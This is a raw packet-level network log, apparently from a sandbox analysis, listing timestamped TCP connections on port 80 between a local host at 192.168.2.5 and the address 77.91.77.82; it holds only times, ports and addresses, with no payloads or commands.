Jun 28, 2024 13:38:47.574470997 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.679459095 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.679832935 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.684631109 CEST	80	49890	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:47.684700012 CEST	80	49889	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:47.684711933 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.684765100 CEST	49889	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.684864998 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:47.689661026 CEST	80	49890	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:48.361603975 CEST	80	49890	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:48.362086058 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.367909908 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.367914915 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.373755932 CEST	80	49891	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:48.374056101 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.374197006 CEST	80	49890	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:48.374300003 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.374416113 CEST	49890	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:48.380227089 CEST	80	49891	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.053450108 CEST	80	49891	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.053988934 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.163902998 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.163903952 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.168848038 CEST	80	49892	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.169369936 CEST	80	49891	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.172983885 CEST	49891	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.172991037 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.173902035 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.178853035 CEST	80	49892	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.847381115 CEST	80	49892	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.847453117 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.852562904 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.853056908 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.857867956 CEST	80	49893	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.857949972 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.858264923 CEST	80	49892	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:49.858326912 CEST	49892	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.858329058 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:49.863149881 CEST	80	49893	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:50.560218096 CEST	80	49893	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:50.560328960 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.679898024 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.680140972 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.684966087 CEST	80	49894	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:50.685178041 CEST	80	49893	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:50.685277939 CEST	49893	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.685278893 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.686026096 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:50.690768003 CEST	80	49894	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:51.363393068 CEST	80	49894	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:51.363449097 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.367465019 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.368069887 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.372724056 CEST	80	49894	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:51.372783899 CEST	49894	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.372927904 CEST	80	49895	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:51.373001099 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.373290062 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:51.378293991 CEST	80	49895	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.043219090 CEST	80	49895	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.043289900 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.149667978 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.150263071 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.154871941 CEST	80	49895	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.154934883 CEST	49895	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.155018091 CEST	80	49896	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.155098915 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.155482054 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.161372900 CEST	80	49896	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.842500925 CEST	80	49896	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.846055984 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.849587917 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.849587917 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.857592106 CEST	80	49897	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.857804060 CEST	80	49896	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:52.857991934 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.858000040 CEST	49896	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.858269930 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:52.863209963 CEST	80	49897	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:53.649193048 CEST	80	49897	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:53.649295092 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.775001049 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.775640965 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.780765057 CEST	80	49898	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:53.780832052 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.781053066 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.781315088 CEST	80	49897	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:53.781364918 CEST	49897	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:53.785782099 CEST	80	49898	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:54.446974039 CEST	80	49898	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:54.447118044 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.449817896 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.450222969 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.455425024 CEST	80	49899	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:54.456110954 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.456320047 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.456578016 CEST	80	49898	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:54.456798077 CEST	49898	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:54.461749077 CEST	80	49899	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.153163910 CEST	80	49899	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.154447079 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.273924112 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.273926020 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.278841972 CEST	80	49900	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.279099941 CEST	80	49899	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.280018091 CEST	49899	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.280023098 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.280116081 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.284843922 CEST	80	49900	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.953449011 CEST	80	49900	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.953502893 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.957437992 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.957844973 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.962727070 CEST	80	49900	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.962786913 CEST	49900	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.962824106 CEST	80	49901	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:55.962888002 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.963089943 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:55.967955112 CEST	80	49901	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:56.647309065 CEST	80	49901	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:56.647417068 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.759901047 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.759901047 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.767508030 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:56.767889023 CEST	80	49901	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:56.767976046 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.767976046 CEST	49901	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.768202066 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:56.773513079 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.176342010 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.176433086 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.177088976 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.177130938 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.178123951 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.178164959 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.180252075 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.180653095 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.186088085 CEST	80	49902	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.186145067 CEST	49902	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.186734915 CEST	80	49903	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.186813116 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.187021017 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:58.192429066 CEST	80	49903	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.970402002 CEST	80	49903	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:58.971966028 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.085237980 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.085241079 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.090117931 CEST	80	49904	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.090548992 CEST	80	49903	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.092036009 CEST	49903	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.092036963 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.092230082 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.096998930 CEST	80	49904	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.776595116 CEST	80	49904	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.776657104 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.780189037 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.780637026 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.785295963 CEST	80	49904	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.785346985 CEST	49904	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.785407066 CEST	80	49905	77.91.77.82	192.168.2.5
Jun 28, 2024 13:38:59.785499096 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.785732985 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:38:59.790517092 CEST	80	49905	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:00.574542999 CEST	80	49905	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:00.574696064 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.678528070 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.678901911 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.684391975 CEST	80	49905	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:00.684406042 CEST	80	49906	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:00.688041925 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.688041925 CEST	49905	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.688316107 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:00.693049908 CEST	80	49906	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:01.372371912 CEST	80	49906	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:01.372592926 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.380338907 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.380724907 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.385555983 CEST	80	49906	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:01.385592937 CEST	80	49907	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:01.385622025 CEST	49906	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.385651112 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.386501074 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:01.391320944 CEST	80	49907	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.056351900 CEST	80	49907	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.056412935 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.299271107 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.299787045 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.307651997 CEST	80	49908	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.307765961 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.308546066 CEST	80	49907	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.308607101 CEST	49907	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.318136930 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.323771000 CEST	80	49908	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.985172033 CEST	80	49908	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.986242056 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.989614964 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.989639997 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.994412899 CEST	80	49909	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.995306015 CEST	80	49908	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:02.995405912 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.995408058 CEST	49908	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:02.995628119 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.000406027 CEST	80	49909	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:03.692969084 CEST	80	49909	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:03.693023920 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.805413008 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.805685043 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.810478926 CEST	80	49910	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:03.810544014 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.810594082 CEST	80	49909	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:03.810642004 CEST	49909	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.810751915 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:03.817852020 CEST	80	49910	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:04.495991945 CEST	80	49910	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:04.496129990 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.498600960 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.498946905 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.503984928 CEST	80	49911	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:04.504530907 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.504635096 CEST	80	49910	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:04.504755020 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.504844904 CEST	49910	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:04.509797096 CEST	80	49911	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.175060987 CEST	80	49911	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.175220013 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.288362980 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.288363934 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.293477058 CEST	80	49912	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.293759108 CEST	80	49911	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.295020103 CEST	49911	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.295020103 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.297936916 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.302700996 CEST	80	49912	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.968203068 CEST	80	49912	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.968271017 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.972976923 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.973556042 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.978429079 CEST	80	49913	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.978445053 CEST	80	49912	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:05.978532076 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.978534937 CEST	49912	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.978795052 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:05.983508110 CEST	80	49913	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:06.654134989 CEST	80	49913	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:06.655319929 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.773916960 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.773916960 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.778853893 CEST	80	49914	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:06.779011011 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.779069901 CEST	80	49913	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:06.779162884 CEST	49913	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.779913902 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:06.784672022 CEST	80	49914	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:07.447228909 CEST	80	49914	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:07.447299957 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.451019049 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.451406002 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.459287882 CEST	80	49915	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:07.459357023 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.459836006 CEST	80	49914	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:07.459920883 CEST	49914	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.460093021 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:07.464935064 CEST	80	49915	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.136939049 CEST	80	49915	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.137022018 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.242768049 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.243155956 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.247998953 CEST	80	49915	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.248016119 CEST	80	49916	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.248054981 CEST	49915	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.248107910 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.248301029 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.253053904 CEST	80	49916	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.930171013 CEST	80	49916	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.930382013 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.933485031 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.933924913 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.939371109 CEST	80	49916	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.939412117 CEST	80	49917	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:08.939479113 CEST	49916	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.939536095 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.939857960 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:08.944763899 CEST	80	49917	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:09.636259079 CEST	80	49917	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:09.636307001 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.742525101 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.743036985 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.750107050 CEST	80	49918	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:09.750170946 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.750230074 CEST	80	49917	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:09.750277042 CEST	49917	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.750334024 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:09.755858898 CEST	80	49918	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:10.460387945 CEST	80	49918	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:10.460727930 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.463846922 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.463855028 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.468661070 CEST	80	49919	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:10.468871117 CEST	80	49918	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:10.470026970 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.470032930 CEST	49918	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.470130920 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:10.475049973 CEST	80	49919	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.162950039 CEST	80	49919	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.163139105 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.272986889 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.272995949 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.278373003 CEST	80	49920	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.280141115 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.280141115 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.286559105 CEST	80	49920	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.292670012 CEST	80	49919	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.297962904 CEST	49919	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.965485096 CEST	80	49920	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.965540886 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.968451977 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.968831062 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.973742008 CEST	80	49921	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.973803043 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.973947048 CEST	80	49920	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:11.974011898 CEST	49920	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.974221945 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:11.979377985 CEST	80	49921	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:12.685050011 CEST	80	49921	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:12.686422110 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.804151058 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.805979967 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.809412956 CEST	80	49921	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:12.809551954 CEST	49921	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.810796976 CEST	80	49922	77.91.77.82	192.168.2.5
Jun 28, 2024 13:39:12.811764002 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.811956882 CEST	49922	80	192.168.2.5	77.91.77.82
Jun 28, 2024 13:39:12.816749096 CEST	80	49922	77.91.77.82	192.168.2.5
